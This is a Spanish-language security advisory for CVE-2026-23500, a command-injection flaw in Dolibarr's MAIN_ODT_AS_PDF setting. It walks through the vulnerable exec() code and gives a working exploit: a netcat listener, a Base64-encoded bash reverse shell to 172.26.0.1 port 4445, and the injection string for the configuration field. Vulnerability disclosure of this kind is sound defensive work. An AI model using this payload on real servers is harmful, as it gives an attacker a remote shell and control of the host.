
CVE-2026-23500 - Inyección de comandos del sistema operativo (RCE) a través de la configuración MAIN_ODT_AS_PDF en Dolibarr
| Campo | Detalles |
|---|---|
| ID de CVE | CVE-2026-23500 |
| Severidad | CRÍTICA |
| Aviso | GHSA-w5j3-8fcr-h87w |
| Descubierto por | Lukasz Rybak |
Un administrador autenticado puede ejecutar comandos arbitrarios del sistema operativo inyectando una carga útil maliciosa en la constante de configuración MAIN_ODT_AS_PDF. Esta vulnerabilidad existe porque la aplicación no valida ni escapa adecuadamente la ruta del comando antes de pasarla a la función exec() en el proceso de conversión de ODT a PDF.
La vulnerabilidad se encuentra en htdocs/includes/odtphp/odf.php.
Cuando el sistema intenta convertir un documento ODT a PDF (p. ej., en Propuestas, Facturas), construye un comando de shell utilizando el ajuste global MAIN_ODT_AS_PDF.
Fragmento de código (htdocs/includes/odtphp/odf.php, aprox. línea 930):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
Mientras que el nombre de archivo $name se sanitiza mediante escapeshellcmd(), la variable de configuración MAIN_ODT_AS_PDF se obtiene directamente de la base de datos y se concatena al principio de la cadena. Un atacante con privilegios administrativos puede establecer esta variable para que incluya un separador de comandos (como ;) seguido de comandos arbitrarios.
Requisitos previos:
Pasos para reproducir (Reverse Shell):
172.26.0.1, Puerto: 4445):nc -lvnp 4445
Prepare la carga útil. Para evitar problemas con caracteres especiales (como & o >) que podrían ser escapados por la aplicación web o el shell, codifique el comando de reverse shell en Base64:
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
Navegue a Inicio -> Configuración -> Otra configuración.
Agregue o modifique la constante MAIN_ODT_AS_PDF con la siguiente carga útil de inyección:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(Explicación: jodconverter satisface la comprobación inicial, ; actúa como separador de comandos y la canalización decodifica y ejecuta la carga útil en Base64).
Navegue a Comercio -> Nueva propuesta, cree un borrador, seleccione una plantilla ODT (p. ej., generic_proposal_odt) y haga clic en .
Ejecución remota de código (RCE).
Un atacante que obtenga acceso a una cuenta de administrador (o un administrador malintencionado) puede ejecutar comandos arbitrarios en el servidor subyacente con los privilegios del usuario del servidor web (normalmente www-data). Esto permite:
Reportado por Łukasz Rybak
Este CVE fue divulgado de forma responsable siguiendo las prácticas de divulgación coordinada de vulnerabilidades. La información aquí proporcionada tiene únicamente fines educativos y defensivos.
